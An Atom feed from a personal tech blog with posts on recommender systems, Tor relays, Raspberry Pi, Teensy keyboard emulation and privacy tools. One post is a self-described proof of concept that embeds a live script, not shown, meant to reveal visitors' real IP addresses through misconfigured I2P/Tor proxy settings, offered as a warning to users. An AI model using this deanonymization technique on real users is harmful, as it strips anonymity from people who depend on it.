<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
 <link rel="hub" href="https://pubsubhubbub.appspot.com"/> 
 <title>development:kejsarmakten</title>
 <link href="http://blog.kejsarmakten.se/atom.xml" rel="self"/>
 <link href="http://blog.kejsarmakten.se"/>
 <updated>2013-05-15T14:05:53+02:00</updated>
 <id>http://blog.kejsarmakten.se/</id>
 <author>
   <name>Christopher Käck</name>
   <email>christopher.kack@gmail.com</email>
 </author>

 
  
  <entry>
    <title>Similarity functions for user-based collaborative recommendations</title>
    <link href="http://blog.kejsarmakten.se/all/software/2013/05/12/similarity-functions.html"/>
    <updated>2013-05-12T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2013/05/12/similarity-functions</id>
    <content type="html">&lt;h2&gt;Similarity functions for user-based collaborative recommendations&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;11 May 2013&lt;/p&gt;
&lt;p&gt;This is from my &lt;a href=&quot;/all/personal/2013/03/25/busy-withmachine-learning.html&quot;&gt;master thesis&lt;/a&gt; where I am writing about recommender systems.&lt;br /&gt;
Here are some rankscore results (ten-folds, tested on historical data, &lt;a href=&quot;http://www.recommenderbook.net/recommender-systems-introduction&quot;&gt;read more on evaluation in this great book&lt;/a&gt;) after using different similarity functions with a simple user-based collaborative filtering algorithm.&lt;br /&gt;
The vectors are binary or, when noted, weighted with the weight 1 / (total downloads) and based on implicit feedback (downloads).&lt;/p&gt;
&lt;div style='font-family:&quot;Lucida Console&quot;, Monaco, monospace' &gt;
&lt;table&gt;
	&lt;tr&gt;
		&lt;td&gt;Similarity function&lt;/td&gt;
		&lt;td&gt; Rankscore&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;td&gt;Euclidian distance&lt;/td&gt;
		&lt;td&gt;0.171801575012&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;td&gt;Euclidian distance (weighted)&lt;/td&gt;
		&lt;td&gt;0.177710916698&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;td&gt;Tanimoto Coefficient&lt;/td&gt;
		&lt;td&gt;0.129399988285&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;td&gt;Cosine similarity&lt;/td&gt;
		&lt;td&gt;0.179036040926&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;td&gt;Cosine similarity (weighted)&lt;/td&gt;
		&lt;td&gt;0.212398453763&lt;/td&gt;
	&lt;/tr&gt;
&lt;/table&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;Note that &lt;a href=&quot;https://en.wikipedia.org/wiki/Cosine_similarity&quot;&gt;cosine similarity&lt;/a&gt; performs very well on my dataset, even though it is a user-based algorithm (rather than item-based).&lt;br /&gt;
I am not using &lt;a href=&quot;https://en.wikipedia.org/wiki/Pearson_product-moment_correlation_coefficient&quot;&gt;Pearson correlation&lt;/a&gt; since my input is binary vectors.&lt;/p&gt;
&lt;p&gt;I will publish my thesis here in June if you wish to learn more about the dataset, recommender algorithms, weighting techniques and evaluation functions.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Bayesian spam filter</title>
    <link href="http://blog.kejsarmakten.se/all/software/2013/05/02/spam.html"/>
    <updated>2013-05-02T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2013/05/02/spam</id>
    <content type="html">&lt;h2&gt;Bayesian spam filter&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;4 May 2013&lt;/p&gt;
&lt;p&gt;I have forgotten to mention that I wrote a small &lt;a href=&quot;https://github.com/melpomene/spam&quot;&gt;python spam filter&lt;/a&gt; a while back.&lt;/p&gt;
&lt;p&gt;It is very simple and written in Python. Mainly because I wanted to see what fields &lt;a href=&quot;http://spamsamlaren.kejsarmakten.se/&quot;&gt;other than classic spam&lt;/a&gt; I could apply a spam filter &lt;a href=&quot;http://www.paulgraham.com/spam.html&quot;&gt;as outlined by Paul Graham&lt;/a&gt; to.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>The TOR projects needs more relays</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2013/04/27/TOR-network-needs-relays.html"/>
    <updated>2013-04-27T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2013/04/27/TOR-network-needs-relays</id>
    <content type="html">&lt;h2&gt;The &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; projects needs more relays&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;27 Apr 2013&lt;/p&gt;
&lt;p&gt;A concrete way to help people living under censorship and surveillance is to set up a &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot;&gt;&lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; Relay&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://arstechnica.com/information-technology/2013/04/tor-calls-for-help-as-its-supply-of-bridges-falters/&quot;&gt;&lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; project needs more bridges&lt;/a&gt; to be able to help users evade deep packet inspections and blocklists.&lt;/p&gt;
&lt;p&gt;If you have a computer which is often running, then try installing a &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; relay on it! It is a simple and concrete way to help out. &lt;br /&gt;
If you do not have such a computer then you could buy a small &lt;a href=&quot;http://www.raspberrypi.org/&quot;&gt;raspberry pi&lt;/a&gt; and &lt;a href=&quot;http://lifehacker.com/5953155/use-a-raspberry-pi-as-a-tor-relay-and-help-others-browser-anonymously&quot;&gt;run it as relay&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you live in Sweden you can even send it to the great people over at &lt;a href=&quot;https://fsdata.se/blogg/gratis-colocation-med-raspberry-pi/&quot;&gt;FS-Data which provide free colocation of raspberry pi&amp;#8217;s&lt;/a&gt; (they give you free internet connection and power supply if you send in your rbp).&lt;/p&gt;
&lt;p&gt;If you feel it is to much work setting up a &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; relay (it&amp;#8217;s not!), or you are otherwise unable to, then you can help out by donating to others who use the money to run relays; like &lt;a href=&quot;http://www.torservers.net/&quot;&gt;torservers.net&lt;/a&gt; or &lt;a href=&quot;http://tor.noisebridge.net/&quot;&gt;noisebridge&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remember:&lt;/strong&gt; if you run the relay as a bridge or as an internal node all &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; traffic leaving you will be encrypted so you do not have to worry about your &lt;span class=&quot;caps&quot;&gt;ISP&lt;/span&gt; or local authorites thinking your traffic looks suspicious.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>UTF-8 strings in WEKA</title>
    <link href="http://blog.kejsarmakten.se/all/software/2013/04/20/utf-8-and-WEKA.html"/>
    <updated>2013-04-20T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2013/04/20/utf-8-and-WEKA</id>
    <content type="html">&lt;h2&gt;&lt;span class=&quot;caps&quot;&gt;UTF&lt;/span&gt;-8 strings in &lt;span class=&quot;caps&quot;&gt;WEKA&lt;/span&gt;&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;20 Apr 2013&lt;/p&gt;
&lt;p&gt;Working on question classification for a project course in &lt;a href=&quot;http://cs.lth.se/edan50&quot;&gt;intelligent systems&lt;/a&gt; I bumped in to some issues with loading &lt;span class=&quot;caps&quot;&gt;UTF&lt;/span&gt;-8 in &lt;span class=&quot;caps&quot;&gt;ARFF&lt;/span&gt;-files into &lt;a href=&quot;http://www.cs.waikato.ac.nz/ml/weka/&quot;&gt;&lt;span class=&quot;caps&quot;&gt;WEKA&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Simpel solution&lt;/strong&gt;: Switch to using &lt;a href=&quot;http://weka.wikispaces.com/XRFF&quot;&gt;&lt;span class=&quot;caps&quot;&gt;XRFF&lt;/span&gt;&lt;/a&gt; format where you can explicitly declare encoding (&lt;em&gt;No one like &lt;span class=&quot;caps&quot;&gt;XML&lt;/span&gt;, I know, but desperate times call for desperate measures&lt;/em&gt;).&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Check RSS/ATOM reader IP address</title>
    <link href="http://blog.kejsarmakten.se/all/software/2013/04/08/rss-reader-ip.html"/>
    <updated>2013-04-08T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2013/04/08/rss-reader-ip</id>
    <content type="html">&lt;h2&gt;Check &lt;span class=&quot;caps&quot;&gt;RSS&lt;/span&gt;/&lt;span class=&quot;caps&quot;&gt;ATOM&lt;/span&gt; reader IP address&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;08 Apr 2013&lt;/p&gt;
&lt;p&gt;Since I got the news that Google Reader was closing I have moved to &lt;a href=&quot;http://www.rssowl.org/&quot;&gt;RSSOwl&lt;/a&gt; for my &lt;span class=&quot;caps&quot;&gt;RSS&lt;/span&gt;/&lt;span class=&quot;caps&quot;&gt;ATOM&lt;/span&gt; feed needs.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.rssowl.org/&quot; 
title=&quot;Get RSSOwl - Powerful RSS / RDF / Atom News Feed Reader.&quot;&gt;&lt;br /&gt;
&lt;img 
src=&quot;http://www.rssowl.org/images/contribute/getrssowl_large&quot; 
style=&quot;border:0;&quot; width=&quot;178&quot; height=&quot;60&quot; alt=&quot;Get RSSOwl&quot;&gt;&lt;br /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It feels really good to reclaim my data from google, but one feature I am missing is the anonymization that the google crawler provided. To reclaim some of this I am running the &lt;span class=&quot;caps&quot;&gt;RSS&lt;/span&gt; reader over &lt;a href=&quot;https://www.torproject.org/&quot;&gt;Tor&lt;/a&gt; (I am getting &lt;a href=&quot;http://sourceforge.net/p/rssowl/discussion/296909/thread/3f1b4787/&quot;&gt;possible &lt;span class=&quot;caps&quot;&gt;DNS&lt;/span&gt; leakage warnings from Vidalia&lt;/a&gt;. Have not had time to verify this yet though).&lt;br /&gt;
To verify that the Tor Proxy is used I created a small &lt;span class=&quot;caps&quot;&gt;ATOM&lt;/span&gt; feeds which tells you what IP address you are accessing it from.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://links.kejsarmakten.se/ip/atom.php&quot;&gt;Feel free to use it if you like&lt;/a&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Writing Master Thesis on recommender systems</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2013/03/25/busy-withmachine-learning.html"/>
    <updated>2013-03-25T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2013/03/25/busy-withmachine-learning</id>
    <content type="html">&lt;h2&gt;Writing Master Thesis on recommender systems&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;15 Mar 2013&lt;/p&gt;
&lt;p&gt;I am just writing this to let you know why the blog is so silent at the moment.&lt;/p&gt;
&lt;p&gt;Right now I am writing my Master Thesis together with &lt;a href=&quot;http://www.stickybit.se&quot;&gt;Stickybit&lt;/a&gt; in Malmö on the super interesting subjects of &lt;a href=&quot;https://en.wikipedia.org/wiki/Recommender_system&quot;&gt;Recommender systems&lt;/a&gt;.&lt;br /&gt;
This consumes most of my time right now.&lt;/p&gt;
&lt;p&gt;Besides this I am taking part in a project course called &lt;a href=&quot;http://cs.lth.se/edan50&quot;&gt;Intelligent Systems&lt;/a&gt; where we are building a question classifier for a Swedish &lt;a href=&quot;https://www.youtube.com/watch?v=WFR3lOm_xhE&quot;&gt;&lt;span class=&quot;caps&quot;&gt;WATSON&lt;/span&gt;&lt;/a&gt; project.&lt;/p&gt;
&lt;p&gt;So I am swamped in some amazingly fun machine learning problems right now (which makes it extra hard to focus on my exam in Signal Processing now during the Easter holidays).&lt;/p&gt;
&lt;p&gt;I promise to provide a summary of the results on both projects when they are done.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>BitStash - Privacy on Mac</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2013/02/26/BitStash.html"/>
    <updated>2013-02-26T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2013/02/26/BitStash</id>
    <content type="html">&lt;h2&gt;BitStash &amp;#8211; Privacy on Mac&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;26 Feb 2013&lt;/p&gt;
&lt;p&gt;So the time has come for me to release a sideproject I have been tinkering with a while: &lt;a href=&quot;http://hidesh.it/&quot;&gt;BitStash&lt;/a&gt;.&lt;br /&gt;
&lt;iframe src=&quot;http://player.vimeo.com/video/60469999&quot; width=&quot;500&quot; height=&quot;281&quot; frameborder=&quot;0&quot; webkitAllowFullScreen mozallowfullscreen allowFullScreen&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p&gt;It is a application that runs on the &lt;span class=&quot;caps&quot;&gt;JVM&lt;/span&gt; and lets the users, in a simple way, create/remove and open/close encrypted volumes.&lt;br /&gt;
It also have some log sanitation capabilites to help users cover their tracks on their mac&amp;#8217;s.&lt;/p&gt;
&lt;p&gt;It is currently on &lt;a href=&quot;http://hidesh.it/#buy&quot;&gt;beta sale for only $8 here&lt;/a&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Bitcoin and accountability</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2013/01/03/bitcoin-and-accountability.html"/>
    <updated>2013-01-03T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2013/01/03/bitcoin-and-accountability</id>
    <content type="html">&lt;h2&gt;Bitcoin and accountability&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;03 Jan 2013&lt;/p&gt;
&lt;p&gt;I am back from &lt;strong&gt;29c3&lt;/strong&gt; and I had a blast!&lt;br /&gt;
I just wanted to clear something up that was mentioned during an interesting talk by &lt;strong&gt;Eleanor Saitta&lt;/strong&gt; and &lt;strong&gt;Smári McCarthy&lt;/strong&gt; called &lt;a href=&quot;http://events.ccc.de/congress/2012/Fahrplan/events/5305.en.html&quot;&gt;Long live the protocoletariat!&lt;/a&gt; (the unedited stream can be &lt;a href=&quot;ftp://wtf1.muling.lu/Saal_6/Day_3/5305-long_live_the_protocoletariat.wmv.torrent&quot;&gt;downloaded from here&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;It was just a side note in the talk but it seems to be a common misconseption, they claimed that it was not possible to hold people accountable for taxation if they where using bitcoins, and thus it was something bad. A person from the audience later asked how this differ from cash then, and got the answer along the lines (cited from memory, so please correct me if I am wrong): &lt;em&gt;&amp;#8220;With cash the State can go the store and say &amp;#8216;we think you earn this much but you have not taxated for all of that so now you owe us money until you prove us wrong&amp;#8217;. Then the store accepting cash is forced to prove that they have not earned that much money etc&amp;#8221;&lt;/em&gt;. The question was cut short so we never got an answer to why this could not be done for Bitcoin.&lt;/p&gt;
&lt;p&gt;My initial reaction is that this process would be much much easier with bitcoins than with cash, make the process even simpler for the taxating authorities. I think that maybe the speakers does not think this is the case due to lack of understanding of the bitcoin protocol. I have tried to get in touch with the speakers &lt;a href=&quot;https://twitter.com/kejsarmakten/status/285078657939165185&quot;&gt;over&lt;/a&gt; &lt;a href=&quot;https://twitter.com/kejsarmakten/status/285078840525598721&quot;&gt;Twitter&lt;/a&gt; but have not gotten an answer yet. So I just thought I put my theory here to get a discussion going if someone else agrees with the speakers and care to explain why.&lt;br /&gt;
The process of tracking what a store has earned has become alot easier with the bitcoin protocol since each node in the network has &lt;span class=&quot;caps&quot;&gt;ALL&lt;/span&gt; the traffic data, this means that all transactions between differnet public keys are public and can be examined by anyone, even third parties. So if a store has a bitcoin adress on their website it is easy to see exactly how much that public key has earned and what public keys the payment came from and where the coins have gone since then.&lt;br /&gt;
The store can prove ownership of the public key if it would be needed by signing something with the private key belonging to that address.&lt;/p&gt;
&lt;p&gt;I do not see how bitcoins would make it any harder for the taxation authorites to do their job (compared to cash), it makes the job easier.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What are your thoughs on this?&lt;/strong&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>CCC: Not my department</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2012/12/01/ccc.html"/>
    <updated>2012-12-01T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2012/12/01/ccc</id>
    <content type="html">&lt;h2&gt;&lt;span class=&quot;caps&quot;&gt;CCC&lt;/span&gt;: Not my department&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;01 Dec 2012&lt;/p&gt;
&lt;center&gt;&lt;a href=&quot;https://events.ccc.de/congress/2012&quot;&gt;&lt;img src=&quot;/images/ccc.png&quot; /&gt;&lt;/a&gt;&lt;/center&gt;
&lt;p&gt;Booked and ready for &lt;a href=&quot;https://events.ccc.de/congress/2012&quot;&gt;&lt;span class=&quot;caps&quot;&gt;CCC&lt;/span&gt;&lt;/a&gt; this year.&lt;/p&gt;
&lt;p&gt;Let me know if you&amp;#8217;d like to meet up or if there is some talk/workshop I shouldn&amp;#8217;t miss.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Resizing the Raspberry Pi SD card</title>
    <link href="http://blog.kejsarmakten.se/all/software/2012/11/28/resizing-raspberry-pi-sd-card.html"/>
    <updated>2012-11-28T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2012/11/28/resizing-raspberry-pi-sd-card</id>
    <content type="html">&lt;h2&gt;Resizing the Raspberry Pi SD card&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;28 Nov 2012&lt;/p&gt;
&lt;p&gt;Yesterday I finally got my raspberry pi from RS.&lt;br /&gt;
Due to the (very) long wait they upgraded it to a 500MB version instead of the ordered 256MB.&lt;/p&gt;
&lt;p&gt;I also got a 4GB SD card with the OS pre-installed on. After a apt-get upgrade I noticied that I was out of diskspace. It seems that even though they ship the SD card on a 4GB SD card they have only installed the diskimage on 2GB and the rest was left unallocated. Weird.&lt;/p&gt;
&lt;p&gt;It is rather simple to fix this if you have a Linux running computer with a SD card reader laying about. As it happens, I have just that. This is how you go about resizing the disk image.&lt;/p&gt;
&lt;p&gt;First insert the SD card in the reader and start &lt;strong&gt;gparted&lt;/strong&gt; (if you haven&amp;#8217;t got it and you are running a debian distro simply &lt;strong&gt;apt-get install gparted&lt;/strong&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span class=&quot;caps&quot;&gt;REMEBER&lt;/span&gt; TO BE &lt;span class=&quot;caps&quot;&gt;CAREFULL&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;AND&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;ALWAYS&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;BACK&lt;/span&gt; UP &lt;span class=&quot;caps&quot;&gt;YOUR&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;DATA&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;BEFORE&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;PLAYING&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;WITH&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;GPARTED&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It will look something like this (this is from the official gparted repository).&lt;br /&gt;
&lt;center&gt;&lt;a href=&quot;http://gparted.sourceforge.net/screens/gparted_1_big.png&quot;&gt;&lt;img src=&quot;http://gparted.sourceforge.net/screens/gparted_1_big.png&quot; width=&quot;500px&quot; /&gt;&lt;/a&gt;&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;Select in the upper right list your SD card. Then you will see a list of about four rows. On of these is a &lt;em&gt;ext4&lt;/em&gt; file system. Right click and unmount this if your OS has mounted it already.&lt;/p&gt;
&lt;p&gt;When this is done right click the ext4 row and press &amp;#8220;Resize/move&amp;#8221;. A new window will pop up. Here you can increase the size to what you desire, either by dragging the line on the right or by manual input in the boxes.&lt;/p&gt;
&lt;p&gt;When this is done you now have to &lt;em&gt;commit&lt;/em&gt; the changes you have made by pressing &lt;strong&gt;Edit&lt;/strong&gt; in the menu and &lt;strong&gt;Apply All Operations&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Now you are done! Eject the SD card and insert it into your Raspberry pi and boot it up.&lt;/p&gt;
&lt;p&gt;For inspiration on what to do with your newly bought raspberry pi I suggest that you check out &lt;a href=&quot;/all/projects/2012/11/05/balcony-gardening.html&quot;&gt;my blog post were I built a automatic watering system&lt;/a&gt; or why not make it into a nice little &lt;a href=&quot;http://www.irongeek.com/i.php?page=security/raspberry-pi-i2p-svartkast&quot;&gt;svartkast?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Also note that it is possible to do this from the raspbian boot menu now, check the end of this video.&lt;/p&gt;
&lt;p&gt;&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube-nocookie.com/embed/aTQjuDfEGWc&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Cyanogenmod on HTC Hero</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2012/11/24/cyanogenmod-htc-hero.html"/>
    <updated>2012-11-24T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2012/11/24/cyanogenmod-htc-hero</id>
    <content type="html">&lt;h2&gt;Cyanogenmod on &lt;span class=&quot;caps&quot;&gt;HTC&lt;/span&gt; Hero&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;24 Nov 2012&lt;/p&gt;
&lt;p&gt;Today I installed &lt;a href=&quot;http://cyanogenmod.org&quot;&gt;Cyanogenmod&lt;/a&gt; on an old &lt;span class=&quot;caps&quot;&gt;HTC&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;HERO&lt;/span&gt; (&lt;span class=&quot;caps&quot;&gt;GSM&lt;/span&gt;) phone I had lying about.&lt;/p&gt;
&lt;p&gt;I followed the guide &lt;a href=&quot;http://wiki.cyanogenmod.org/wiki/HTC_Hero_%28GSM%29:_Full_Update_Guide&quot;&gt;called ClockworkMod here&lt;/a&gt;.&lt;br /&gt;
It didn&amp;#8217;t work the first time, I got an error in the last step which said &amp;#8220;Illegal instruction     /data/local/flas&amp;#8230;&amp;#8221; and  when I tried to boot into the recovery mode I got stuck on a screen that looked like this. &lt;br /&gt;
&lt;center&gt;&lt;br /&gt;
&lt;img width=&quot;400&quot; src=&quot;/images/cm-error.jpg&quot;&gt;&lt;/img&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;p&gt;Then I found &lt;a href=&quot;http://forum.cyanogenmod.org/topic/28269-illegal-instruction/&quot;&gt;this old forum thread&lt;/a&gt; which solved the problem for me.&lt;/p&gt;
&lt;p&gt;&lt;i&gt;For me, it was something about the flash_image binary. The one downloaded from &lt;span class=&quot;caps&quot;&gt;HTC&lt;/span&gt; Hero Full Update wiki page was causing this. Later I&amp;#8217;ve found different flash_image binary on CyanogenMod Flash_Image wiki, and that one worked for me.&lt;/i&gt; &amp;#8211; unj&lt;/p&gt;
&lt;p&gt;When I switched to the flash image mentioned in the post the problem went away.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://wiki.cyanogenmod.org/wiki/Flash_image&quot;&gt;Here is a link to the flash image.&lt;/a&gt;&lt;/p&gt;
&lt;center&gt;
&lt;p&gt;&lt;img width=&quot;400&quot; src=&quot;/images/cm.jpg&quot;&gt;&lt;/img&gt;&lt;/p&gt;
&lt;/center&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Balcony gardening automatic watering system</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2012/11/05/balcony-gardening.html"/>
    <updated>2012-11-05T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2012/11/05/balcony-gardening</id>
    <content type="html">&lt;h2&gt;Balcony gardening automatic watering system&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;05 Nov 2012&lt;/p&gt;
&lt;p&gt;Here is a first preview of a watering system we (my father and I) are building for my balcony garden (wormwood, sallad and tomatoes in the spring).&lt;/p&gt;
&lt;p&gt;These two videos demo the pump that is controlled by a &lt;a href=&quot;http://www.raspberrypi.org/&quot;&gt;raspberrypi computer&lt;/a&gt;.&lt;br /&gt;
The videos are recorded with a &lt;a href=&quot;http://gopro.com/hd-hero2-cameras/&quot;&gt;&lt;span class=&quot;caps&quot;&gt;GOPRO&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;HERO&lt;/span&gt; 2&lt;/a&gt;.&lt;br /&gt;
&lt;center&gt;&lt;br /&gt;
&lt;iframe src=&quot;http://player.vimeo.com/video/52855641?badge=0&quot; width=&quot;500&quot; height=&quot;281&quot; frameborder=&quot;0&quot; webkitAllowFullScreen mozallowfullscreen allowFullScreen&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;iframe src=&quot;http://player.vimeo.com/video/52855640?badge=0&quot; width=&quot;500&quot; height=&quot;281&quot; frameborder=&quot;0&quot; webkitAllowFullScreen mozallowfullscreen allowFullScreen&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;p&gt;The battery for the pump is loaded with a solar panel.&lt;/p&gt;
&lt;p&gt;The system will, when installed on the balcony, measure the moisture in the earth by measuring the resistance between to nails stuck into the pots.&lt;br /&gt;
When they are dry the system will pump water from a container through a hose to the plants.&lt;/p&gt;
&lt;p&gt;I will post updates to the project here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update 7/11/2012&lt;/strong&gt;&lt;br /&gt;
Deployed alpha on the balcony.&lt;br /&gt;
&lt;center&gt;&lt;br /&gt;
&lt;iframe src=&quot;http://player.vimeo.com/video/52976290?badge=0&quot; width=&quot;500&quot; height=&quot;889&quot; frameborder=&quot;0&quot; webkitAllowFullScreen mozallowfullscreen allowFullScreen&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;/center&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Generate Teensy key codes</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2012/10/19/teensy-code-generator.html"/>
    <updated>2012-10-19T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2012/10/19/teensy-code-generator</id>
    <content type="html">&lt;h2&gt;Generate Teensy key codes&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;10 Oct 2012&lt;/p&gt;
&lt;p&gt;I wrote a script that convert the input string from stdin to a teensy C program that output that string in a loop as an emulated keyboard device.&lt;/p&gt;
&lt;p&gt;Why? Well, it is annoying to translate what you want to type out from the teensy to the key codes by hand, so this script translates ascii text to the keys.&lt;br /&gt;
Just copy the dictionary I made of the key codes if you want to tweak the translation or use it in another setting.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/melpomene/ToTeensyKeyboardLayoutConverter&quot;&gt;The script can be found and downloaded here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.pjrc.com/teensy/&quot;&gt;Read more about the awesome micro controller Teensy here&lt;/a&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Proof of concept deanonymizing I2P/TOR users</title>
    <link href="http://blog.kejsarmakten.se/all/software/2012/10/11/poc-i2p-deanon.html"/>
    <updated>2012-10-11T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2012/10/11/poc-i2p-deanon</id>
    <content type="html">&lt;h2&gt;Proof of concept deanonymizing I2P/&lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; users&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;10 Oct 2012&lt;/p&gt;
&lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js&quot;&gt;&lt;/script&gt;&lt;script src=&quot;/js/steal.js&quot;&gt;&lt;/script&gt;&lt;p&gt;This has a very small attack surface, but it is designed to show you how important it is to have proper settings on your I2P/&lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; browser.&lt;/p&gt;
&lt;p&gt;I used to have these bad settings myself so I am writing to make others aware of the danger. &lt;br /&gt;
(&lt;a href=&quot;http://www.youtube.com/watch?v=q4owyd_CaGc&amp;amp;t=4m35s&quot;&gt;This video at 4:35 shows how I had it set up when it was vunerable&lt;/a&gt;)&lt;br /&gt;
&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/q4owyd_CaGc&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note how I use regex to chose the proxy settings.&lt;/strong&gt; This allows for an attacker to trick my browser to call a server outside of the I2P network.&lt;/p&gt;
&lt;button id=&quot;test&quot; &gt;Try it out here&lt;/button&gt;
&lt;p&gt;If this shows your normal IP address and not the &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt;/I2P (localhost) then you must review your proxysettings!&lt;/p&gt;
&lt;p&gt;Here is a image of me accessing the I2P version of this blog with bad proxy settings.&lt;/p&gt;
&lt;center&gt;&lt;a href=&quot;/images/deanon.jpeg&quot;&gt;&lt;img src=&quot;/images/deanon.jpeg&quot; width=&quot;500px&quot; /&gt;&lt;/center&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Weka out of memory crash on OS X</title>
    <link href="http://blog.kejsarmakten.se/all/software/2012/09/26/Weka-memory-crash-OSX.html"/>
